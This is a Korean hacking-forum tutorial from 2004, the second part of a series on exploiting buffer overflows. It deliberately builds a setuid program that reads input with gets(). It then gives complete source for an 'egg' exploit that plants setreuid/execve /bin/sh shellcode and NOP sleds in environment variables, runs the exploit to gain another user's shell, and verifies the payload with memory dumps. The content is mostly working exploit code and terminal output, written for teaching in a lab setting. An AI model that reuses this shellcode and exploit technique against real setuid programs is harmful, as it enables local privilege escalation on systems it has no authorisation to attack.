1580, 3/79 회원가입  로그인  
   ssuckies
   http://www.ganseo.com
   BOF 해결 무작정 따라하기 #2

http://www.hackerschool.org/HS_Boards/zboard.php?id=Free_Lectures&no=182 [복사]


Produced by ganseo
e-mail : postmaster@ganseo.com
homepage : http://www.ganseo.com

이어서 두번째 방법입니다.
문서작업이 확실히 쉽진 않네요...ㅡ_ㅡ;
이번 버젼은 egg프로그램을 이용하는 것입니다.
이 문서부터 보신분은 아래있는 첫번째 문서부터 보세요^^

일단 egg프로그램에 대해서 간단히 설명드리자면 환경변수에 쉘코드를 올려 놓고 그 주소를 가리키는
ret를 쫘악 넣어두고 그것도 역쉬 환경변수에 올려둬서 쉽게 풀수 있게 만든것입니다.
일단 이것으로 하는것은 매우 쉽기때문에 저희는 일단 문제 풀고 환경변수 부분을 덤프해서 과연 잘들어가 있는지를
구경하는 쪽으로 문서를 작성할까 합니다.^_^

첫번째 문서와 똑같은 프로그램으로 테스트 해보도록 하겠습니다.
[root@localhost .test]# cat > testApp.c        
#include <stdio.h>
void main(int argc , char** argv)
{
        char buffer[200];

        printf("type ur words : ");
        gets(buffer);
        printf("words = %s\n" , buffer);
}
[root@localhost .test]# gcc -o testApp testApp.c
testApp.c: In function `main':
testApp.c:3: warning: return type of `main' is not `int'
/tmp/ccFrX0ch.o: In function `main':
/tmp/ccFrX0ch.o(.text+0x24): the `gets' function is dangerous and should not be used.
[root@localhost .test]# chmod 4750 testApp
[root@localhost .test]# chown recluse8 testApp
[root@localhost .test]# chgrp recluse7 testApp
[root@localhost .test]# ls -al
합계 28
drwxr-xr-x    2 root     root         4096  4월 10 00:08 .
drwxr-xr-x   21 root     root         4096  4월  9 23:17 ..
-rwsr-x---    1 recluse8 recluse7    13842  4월 10 00:08 testApp
-rw-r--r--    1 root     root          155  4월 10 00:08 testApp.c
[root@localhost .test]#

[root@localhost .test]# (perl -e 'print "A"x300';cat)|./testApp

type ur words : words = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

세그멘테이션 오류
[root@localhost .test]#

자 이제 egg.c 프로그램을 한번 보도록 하겠습니다.
일단 쉘코드에 id를 넣기 위해 recluse8의 id를 알아봅니다.
(쉘코드 만드는 방법은 널루트의 멋진분들이(^^) 써둔 문서를 참고하세요. ganseo.com에도 퍼다놨습니다.)
[root@localhost .test]# id recluse8
uid=1008(recluse8) gid=1008(recluse8) groups=1008(recluse8)
[root@localhost .test]# cat > egg.c
#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define DEFAULT_EGG_SIZE               2048
#define NOP                            0x90

char shellcode[] =
  "\x31\xc9"                   /*xor    %ecx,%ecx*/
  "\x66\xb9\xf0\x03"             /*mov    $0x3f0,%cx*/                //recluse8의 id를 넣어줍니다.
  "\x31\xdb"                   /*xor    %ebx,%ebx*/
  "\x66\xbb\xf0\x03"             /*mov    $0x3f0,%bx*/                //여기에다가도 넣어줍니다.
  "\x31\xc0"                   /*xor    %eax,%eax*/
  "\xb0\x46"                   /*mov    $0x46,%al*/
  "\xcd\x80"                        /*int    $0x80*/
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";



unsigned long get_esp(void) {
   __asm__("movl %esp,%eax");
}

int main(int argc, char *argv[]) {
  char *buff, *ptr, *egg;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i, eggsize=DEFAULT_EGG_SIZE;

  if (argc > 1) bsize   = atoi(argv[1]);
  if (argc > 2) offset  = atoi(argv[2]);
  if (argc > 3) eggsize = atoi(argv[3]);


  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
  if (!(egg = malloc(eggsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_esp() - offset;                        //우리가 ret address로 사용할 주소입니다.버퍼 사이즈나 egg사이즈에 따라 살짝 조정해주면 됩니다.
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
  {
          
                  *(addr_ptr++) = addr;                //우리가 사용할 ret를 환경변수 $RET에 넣기위해 준비중입니다.
  }
  ptr = egg;
  for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
    *(ptr++) = NOP;                                //쉘코드 전에 NOP으로 체워서 대충찍어도 쉘코드가 실행되게 하려합니다.

  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];                        //중요한 쉘코드를 준비!

  buff[bsize - 1] = '\0';
  egg[eggsize - 1] = '\0';

  //$EGG 에 egg shell을 넣습니다.
  memcpy(egg,"EGG=",4);                                
  putenv(egg);
  //$RET 에 우리가 사용할 ret address를 넣습니다.
  memcpy(buff,"RET=",4);
  putenv(buff);
  
  //환경변수 등록이 끝나고 나면 bash를 띄웁니다.
  system("/bin/bash");
}
[root@localhost .test]# gcc -o egg egg.c
[root@localhost .test]#
[root@localhost .test]# ./egg        //egg프로그램을 띄웁니다. buffer사이즈가 512보다 크다면 argv로 조절해 주어야 하겠지만 지금은 200이기에 디펄트!
Using address: 0xbffffa78
[root@localhost .test]# ps        //프로세스에 egg가 떠있는지 확인해봅니다.
  PID TTY          TIME CMD
4316 pts/1    00:00:00 bash
4421 pts/1    00:00:00 egg
4422 pts/1    00:00:00 bash
4445 pts/1    00:00:00 ps
[root@localhost .test]#
[recluse7@localhost .test]$ (printf $RET;cat)|./testApp                //exploit!

type ur words : words = x?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?

id
uid=1008(recluse8) gid=1007(recluse7) groups=1007(recluse7)        //잘 되는군요
exit

역시 egg프로그램을 사용하는것은 쉽습니다.
egg를 사용하는 습관은 별로 좋지는 않은것 같습니다.
처음에는 차근차근 정확한 ret를 알아내서 메모리 덤프해보면서 하는게 나으실듯 합니다.
gdb로 메모리 여행도 좋을듯.


일단 그러면 처음에 말씀드린대로 환경변수에 저희가 집어 넣은 egg shell code와 ret address가 들어가 있는지 확인하는 프로그램을 돌려보겠습니다.
물론 프로그램은 대단히 간단합니다.
[root@localhost .test]# exit
[root@localhost .test]# ps
  PID TTY          TIME CMD
4316 pts/1    00:00:00 bash
4516 pts/1    00:00:00 ps

dumpcode 헤더를 include하기위해...
[root@localhost .test]# cat > dumpcode.h
void printchar(unsigned char c)
{
     if(isprint(c))
             printf("%c",c);
     else
             printf(".");
}
void dumpcode(unsigned char *buff, int len)
{
     int i;
     for(i=0;i<len;i++)
     {
             if(i%16==0)
                     printf("0x%08x  ",&buff[i]);
             printf("%02x ",buff[i]);
             if(i%16-15==0)
             {
                     int j;
                     printf("  ");
                     for(j=i-15;j<=i;j++)
                             printchar(buff[j]);
                     printf("\n");
             }
     }
     if(i%16!=0)
     {
             int j;
             int spaces=(len-i+16-i%16)*3+2;
             for(j=0;j<spaces;j++)
                     printf(" ");
             for(j=i-i%16;j<len;j++)
                     printchar(buff[j]);
     }
     printf("\n");
}

덤프멤 프로그램을 만들어 보았습니다. 인자 받고 어쩌고 하는 이쁘게 만드시는것은 스스로...전 귀찮아서뤼^_^
[root@localhost .test]# cat > dumpmem.c
#include <stdio.h>
#include "dumpcode.h"
main( int argc, char **argv)
{
        if ( argc >1 )
        {
                dumpcode( (char *)0xbffffa78 + atoi( argv[1] ),1000 );
        }
}
[root@localhost .test]# gcc -o dumpmem dumpmem.c
[root@localhost .test]#
일단 egg프로그램 돌리기 전에 환경변수 부분을 보도록 하겠습니다.
[root@localhost .test]# ./dumpmem -100
0xbffffa14  04 fb ff bf 38 fa ff bf 02 7a 08 40 00 80 15 40   ...@8...........
0xbffffa24  9d 87 04 08 48 fa ff bf 06 00 00 00 ff ff ff ff   ....D...........
0xbffffa34  d0 9f 15 40 78 fa ff bf 78 85 04 08 a6 87 04 08   ....x...........
0xbffffa44  44 00 00 00 01 00 00 00 d0 9f 15 40 4c 5e 01 40   @..........@L^.@
0xbffffa54  04 fb ff bf 78 fa ff bf c3 9a 05 40 1a fc ff bf   ....x......@....
0xbffffa64  4f 00 00 00 53 00 00 00 00 00 00 00 50 00 00 00   _..._.......\...
0xbffffa74  60 00 00 00 98 fa ff bf 25 87 04 08 14 fa ff bf   o.......%.......
0xbffffa84  e8 03 00 00 a8 fa ff bf b1 84 04 08 c4 97 04 08   ................
0xbffffa94  cc 98 04 08 d8 fa ff bf 06 63 04 40 02 00 00 00   .........c.@....
0xbffffaa4  04 fb ff bf 10 fb ff bf 42 83 04 08 70 87 04 08   ........B...p...
0xbffffab4  00 00 00 00 d8 fa ff bf f2 62 04 40 00 00 00 00   .........b.@....
0xbffffac4  10 fb ff bf c0 8a 15 40 58 58 01 40 02 00 00 00   .......@XX.@....
0xbffffad4  d0 83 04 08 00 00 00 00 f1 83 04 08 f4 86 04 08   ................
0xbffffae4  02 00 00 00 04 fb ff bf 2c 83 04 08 70 87 04 08   ........,...p...
0xbffffaf4  cc d2 00 40 fc fa ff bf ac 5e 01 40 02 00 00 00   ...@.....^.@....
0xbffffb04  10 fc ff bf 1a fc ff bf 00 00 00 00 1f fc ff bf   ................
0xbffffb14  2a fc ff bf 49 fc ff bf 5b fc ff bf 7d fc ff bf   *...I...[...}...
0xbffffb24  89 fc ff bf 93 fc ff bf 56 fe ff bf 75 fe ff bf   ........V...u...
0xbffffb34  88 fe ff bf a2 fe ff bf b7 fe ff bf ce fe ff bf   ................
0xbffffb44  e1 fe ff bf f2 fe ff bf ff fe ff bf 07 ff ff bf   ................
0xbffffb54  17 ff ff bf 25 ff ff bf 33 ff ff bf 3d ff ff bf   ....%...3...=...
0xbffffb64  4e ff ff bf 5c ff ff bf 67 ff ff bf 72 ff ff bf   N...\...g...r...
0xbffffb74  cd ff ff bf dd ff ff bf e9 ff ff bf 00 00 00 00   ................
0xbffffb84  10 00 00 00 ff f9 83 03 06 00 00 00 00 10 00 00   ................
0xbffffb94  11 00 00 00 64 00 00 00 03 00 00 00 34 80 04 08   ....d.......4...
0xbffffba4  04 00 00 00 20 00 00 00 05 00 00 00 06 00 00 00   .... ...........
0xbffffbb4  07 00 00 00 00 00 00 40 08 00 00 00 00 00 00 00   .......@........
0xbffffbc4  09 00 00 00 d0 83 04 08 0b 00 00 00 00 00 00 00   ................
0xbffffbd4  0c 00 00 00 00 00 00 00 0d 00 00 00 00 00 00 00   ................
0xbffffbe4  0e 00 00 00 00 00 00 00 0f 00 00 00 0b fc ff bf   ................
0xbffffbf4  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00   ................
0xbffffc04  00 00 00 00 00 00 00 69 36 38 36 00 2e 2f 64 75   .......i686../du                //여기에 argv[0]이 들어가네요. 나중에 format string할때 쓰기도 합니다.
0xbffffc14  6d 70 6d 65 6d 00 2d 31 30 30 00 50 57 44 3d 2f   mpmem.-100.PWD=/                //환경변수 부분이죠^^
0xbffffc24  2e 74 65 73 74 00 48 4f 53 54 4e 41 4d 45 3d 6c   .test.HOSTNAME=l
0xbffffc34  6f 63 61 6c 68 6f 73 74 2e 6c 6f 63 61 6c 64 6f   ocalhost.localdo
0xbffffc44  6d 61 69 6e 00 51 54 44 49 52 3d 2f 75 73 72 2f   main.QTDIR=/usr/
0xbffffc54  6c 69 62 2f 71 74 00 4c 45 53 53 4f 50 45 4e 3d   lib/qt.LESSOPEN=
0xbffffc64  7c 2f 75 73 72 2f 62 69 6e 2f 6c 65 73 73 70 69   |/usr/bin/lesspi
0xbffffc74  70 65 2e 73 68 20 25 73 00 4b 44 45 44 49 52 3d   pe.sh %s.KDEDIR=
0xbffffc84  2f 75 73 72 00 55 53 45 52 3d 72 6f 6f 74 00 4c   /usr.USER=root.L
0xbffffc94  53 5f 43 4f 4c 4f 52 53 3d 6e 6f 3d 30 30 3a 66   S_COLORS=no=00:f
0xbffffca4  69 3d 30 30 3a 64 69 3d 30 31 3b 33 34 3a 6c 6e   i=00:di=01;34:ln
0xbffffcb4  3d 30 31 3b 33 36 3a 70 69 3d 34 30 3b 33 33 3a   =01;36:pi=40;33:
0xbffffcc4  73 6f 3d 30 31 3b 33 35 3a 62 64 3d 34 30 3b 33   so=01;35:bd=40;3
0xbffffcd4  33 3b 30 31 3a 63 64 3d 34 30 3b 33 33 3b 30 31   3;01:cd=40;33;01
0xbffffce4  3a 6f 72 3d 30 31 3b 30 35 3b 33 37 3b 34 31 3a   :or=01;05;37;41:
0xbffffcf4  6d 69 3d 30 31 3b 30 35 3b 33 37 3b 34 31 3a 65   mi=01;05;37;41:e
0xbffffd04  78 3d 30 31 3b 33 32 3a 2a 2e 63 6d 64 3d 30 31   x=01;32:*.cmd=01
0xbffffd14  3b 33 32 3a 2a 2e 65 78 65 3d 30 31 3b 33 32 3a   ;32:*.exe=01;32:
0xbffffd24  2a 2e 63 6f 6d 3d 30 31 3b 33 32 3a 2a 2e 62 74   *.com=01;32:*.bt
0xbffffd34  6d 3d 30 31 3b 33 32 3a 2a 2e 62 61 74 3d 30 31   m=01;32:*.bat=01
0xbffffd44  3b 33 32 3a 2a 2e 73 68 3d 30 31 3b 33 32 3a 2a   ;32:*.sh=01;32:*
0xbffffd54  2e 63 73 68 3d 30 31 3b 33 32 3a 2a 2e 74 61 72   .csh=01;32:*.tar
0xbffffd64  3d 30 31 3b 33 31 3a 2a 2e 74 67 7a 3d 30 31 3b   =01;31:*.tgz=01;
0xbffffd74  33 31 3a 2a 2e 61 72 6a 3d 30 31 3b 33 31 3a 2a   31:*.arj=01;31:*
0xbffffd84  2e 74 61 7a 3d 30 31 3b 33 31 3a 2a 2e 6c 7a 68   .taz=01;31:*.lzh
0xbffffd94  3d 30 31 3b 33 31 3a 2a 2e 7a 69 70 3d 30 31 3b   =01;31:*.zip=01;
0xbffffda4  33 31 3a 2a 2e 7a 3d 30 31 3b 33 31 3a 2a 2e 5a   31:*.z=01;31:*.Z
0xbffffdb4  3d 30 31 3b 33 31 3a 2a 2e 67 7a 3d 30 31 3b 33   =01;31:*.gz=01;3
0xbffffdc4  31 3a 2a 2e 62 7a 32 3d 30 31 3b 33 31 3a 2a 2e   1:*.bz2=01;31:*.
0xbffffdd4  62 7a 3d 30 31 3b 33 31 3a 2a 2e 74 7a 3d 30 31   bz=01;31:*.tz=01
0xbffffde4  3b 33 31 3a 2a 2e 72 70 6d 3d 30 31 3b 33 31 3a   ;31:*.rpm=01;31:
0xbffffdf4  2a 2e 63 70 69 6f 3d 30                           *.cpio=0
[root@localhost .test]#
egg프로그램을 띄웠습니다.
[root@localhost .test]# ./egg
Using address: 0xbffffa78                //우리가 사용할 ret address 주변을 덤프해볼 예정입니다.
일단 환경변수를 보겠습니다.
[root@localhost .test]# env
PWD=/.test
HOSTNAME=localhost.localdomain
QTDIR=/usr/lib/qt
LESSOPEN=|/usr/bin/lesspipe.sh %s
KDEDIR=/usr
USER=root
LS_COLORS=no=00:fi=00:di=01;34:ln=01;36:pi=40;33:so=01;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=01;32:*.cmd=01;32:*.exe=01;32:*.com=01;32:*.btm=01;32:*.bat=01;32:*.sh=01;32:*.csh=01;32:*.tar=01;31:*.tgz=01;31:*.arj=01;31:*.taz=01;31:*.lzh=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.gz=01;31:*.bz2=01;31:*.bz=01;31:*.tz=01;31:*.rpm=01;31:*.cpio=01;31:*.jpg=01;35:*.gif=01;35:*.bmp=01;35:*.xbm=01;35:*.xpm=01;35:*.png=01;35:*.tif=01;35:
MACHTYPE=i386-redhat-linux-gnu
LC_ALL=ko_KR.euckr
EGG=1?뱅1?삽1육F公^1픃F  V
                         ?N?佰@滑?/bin/sh
MAIL=/var/spool/mail/root ?
INPUTRC=/etc/inputrc
RET=x?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?퓒?
BASH_ENV=/root/.bashrc
XMODIFIERS=@im=Ami
LANG=ko_KR.eucKR
LOGNAME=root
SHLVL=3
SHELL=/bin/bash
USERNAME=root
HOSTTYPE=i386
QT_XFT=no
OSTYPE=linux-gnu
HISTSIZE=1000
HOME=/root
TERM=vt100
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/bin:/bin:/usr/local/bin:/usr/X11R6/bin:/root/bin
JLESSCHARSET=ko
_=/usr/bin/env
[root@localhost .test]#
잘 들어가 있기는 하네요.
그럼 이제 우리가 원하는 부분에 들어가 있는지 확인 하도록 하겠습니다.
[root@localhost .test]# ./dumpmem -100
0xbffffa14  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................                //NOP이 들어가 있고 밑에 쉘코드가 나오니 제대로네요^^
0xbffffa24  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffa34  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffa44  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffa54  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffa64  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffa74  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffa84  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffa94  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffaa4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffab4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffac4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffad4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffae4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffaf4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffb04  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffb14  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffb24  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffb34  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffb44  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffb54  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffb64  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffb74  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffb84  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffb94  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffba4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffbb4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffbc4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffbd4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffbe4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffbf4  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffc04  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffc14  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffc24  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffc34  90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90   ................
0xbffffc44  90 90 90 90 90 90 90 90 90 90 90 90 90 31 c9 66   .............1.f                //쉘코드 부분
0xbffffc54  b9 f0 03 31 db 66 bb f0 03 31 c0 b0 46 cd 80 eb   ...1.f...1..F...
0xbffffc64  1f 5e 89 76 08 31 c0 88 46 07 89 46 0c b0 0b 89   .^.v.1..F..F....
0xbffffc74  f3 8d 4e 08 8d 56 0c cd 80 31 db 89 d8 40 cd 80   ..N..V...1...@..
0xbffffc84  e8 dc ff ff ff 2f 62 69 6e 2f 73 68 00 4d 41 49   ...../bin/sh.MAI
0xbffffc94  4c 3d 2f 76 61 72 2f 73 70 6f 6f 6c 2f 6d 61 69   L=/var/spool/mai
0xbffffca4  6c 2f 72 6f 6f 74 00 49 4e 50 55 54 52 43 3d 2f   l/root.INPUTRC=/
0xbffffcb4  65 74 63 2f 69 6e 70 75 74 72 63 00 52 45 54 3d   etc/inputrc.RET=                //환경변수에 RET가 잘들어가 있네요^^ 가리키는 0xbffffa78 도 확실하고...
0xbffffcc4  78 fa ff bf 78 fa ff bf 78 fa ff bf 78 fa ff bf   x...x...x...x...
0xbffffcd4  78 fa ff bf 78 fa ff bf 78 fa ff bf 78 fa ff bf   x...x...x...x...
0xbffffce4  78 fa ff bf 78 fa ff bf 78 fa ff bf 78 fa ff bf   x...x...x...x...
0xbffffcf4  78 fa ff bf 78 fa ff bf 78 fa ff bf 78 fa ff bf   x...x...x...x...
0xbffffd04  78 fa ff bf 78 fa ff bf 78 fa ff bf 78 fa ff bf   x...x...x...x...
0xbffffd14  78 fa ff bf 78 fa ff bf 78 fa ff bf 78 fa ff bf   x...x...x...x...
0xbffffd24  78 fa ff bf 78 fa ff bf 78 fa ff bf 78 fa ff bf   x...x...x...x...
0xbffffd34  78 fa ff bf 78 fa ff bf 78 fa ff bf 78 fa ff bf   x...x...x...x...
0xbffffd44  78 fa ff bf 78 fa ff bf 78 fa ff bf 78 fa ff bf   x...x...x...x...
0xbffffd54  78 fa ff bf 78 fa ff bf 78 fa ff bf 78 fa ff bf   x...x...x...x...
0xbffffd64  78 fa ff bf 78 fa ff bf 78 fa ff bf 78 fa ff bf   x...x...x...x...
0xbffffd74  78 fa ff bf 78 fa ff bf 78 fa ff bf 78 fa ff bf   x...x...x...x...
0xbffffd84  78 fa ff bf 78 fa ff bf 78 fa ff bf 78 fa ff bf   x...x...x...x...
0xbffffd94  78 fa ff bf 78 fa ff bf 78 fa ff bf 78 fa ff bf   x...x...x...x...
0xbffffda4  78 fa ff bf 78 fa ff bf 78 fa ff bf 78 fa ff bf   x...x...x...x...
0xbffffdb4  78 fa ff bf 78 fa ff bf 78 fa ff bf 78 fa ff bf   x...x...x...x...
0xbffffdc4  78 fa ff bf 78 fa ff bf 78 fa ff bf 78 fa ff bf   x...x...x...x...
0xbffffdd4  78 fa ff bf 78 fa ff bf 78 fa ff bf 78 fa ff bf   x...x...x...x...
0xbffffde4  78 fa ff bf 78 fa ff bf 78 fa ff bf 78 fa ff bf   x...x...x...x...
0xbffffdf4  78 fa ff bf 78 fa ff bf                           x...x...
[root@localhost .test]#
자 끝입니다.
ㅡ_ㅡ;
별거 없네요...
하하...
offset이나 buffer size , egg size 조절해서 메모리 보는 부분은 직접해보세요.^^
생각을 조금 깊게 하시면 메모리를 직접 보지 않아도 어디 들어갔는데 대충 통빱으로 알수는 있지만.
그렇게 되기 전까지는 GDB를 이용하든지 직접 프로그램을 만들든지 해서 메모리를 보시는 습관이 좋을듯 합니다.
그럼 전 이만... 아름다운 하루 보내세요~

  Hit : 9238     Date : 2004/04/12 02:02



    
1540   [[초급/강좌]] 유닉스 주요 명령어[7]     소유
10/09 13812
1539   [[초급/강좌]] 유닉스 기본 정리[8]     소유
10/09 13792
1538     [re] 허접팁] 암호를 바꿔 해킹피해 줄이쟈 ㅋ ^^; 더 좋은방법[9]     xeon400
10/14 8855
1537   콘솔과 엑스윈도에서 마우스 사용하기[1]     소유
10/28 9501
1536   리눅스에서 한국통신 adsl 설정[10]     jgminam
11/06 10809
1535   gdb사용법_링크임다...[3]     esang72
01/10 8316
1534   리모트에서 명령어 실행시키기[1]     xiangyi
02/03 10039
1533   format string을 위한 리턴어드레스 구하기.[2]     ssuckies
02/08 9992
1532   그녀의 Vulnerabilities에 따른 Remote/local one night stand exploit.[2]     ssuckies
03/29 9400
1531   왜 C 이어야 하는가 ?[96]     소유
04/09 22984
1530   BOF 해결 무작정 따라하기 #1[7]     ssuckies
04/12 13722
  BOF 해결 무작정 따라하기 #2     ssuckies
04/12 9237
1528   커널버전 확인하기ㅋ[1]     괴도js
07/02 8589
1527   [C강좌] C언어의 기본개요     괴도js
07/02 10488
1526   C언어 기본구조[1]     괴도js
07/02 11975
1525   C강좌;;라 할것잇나?[1]     괴도js
07/03 10695
1524   2번째C강좌~![9]     괴도js
07/03 11203
1523   I. 리눅스 구조 및 일반 명령어.     괴도js
07/04 11987
1522   II. 일반명령어2.     괴도js
07/04 9661
1521   [Bash Shell] 정복하기[1]     괴도js
07/04 9522
[1][2] 3 [4][5][6][7][8][9][10]..[79]

Copyright 1999-2023 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org & Wowhacker.com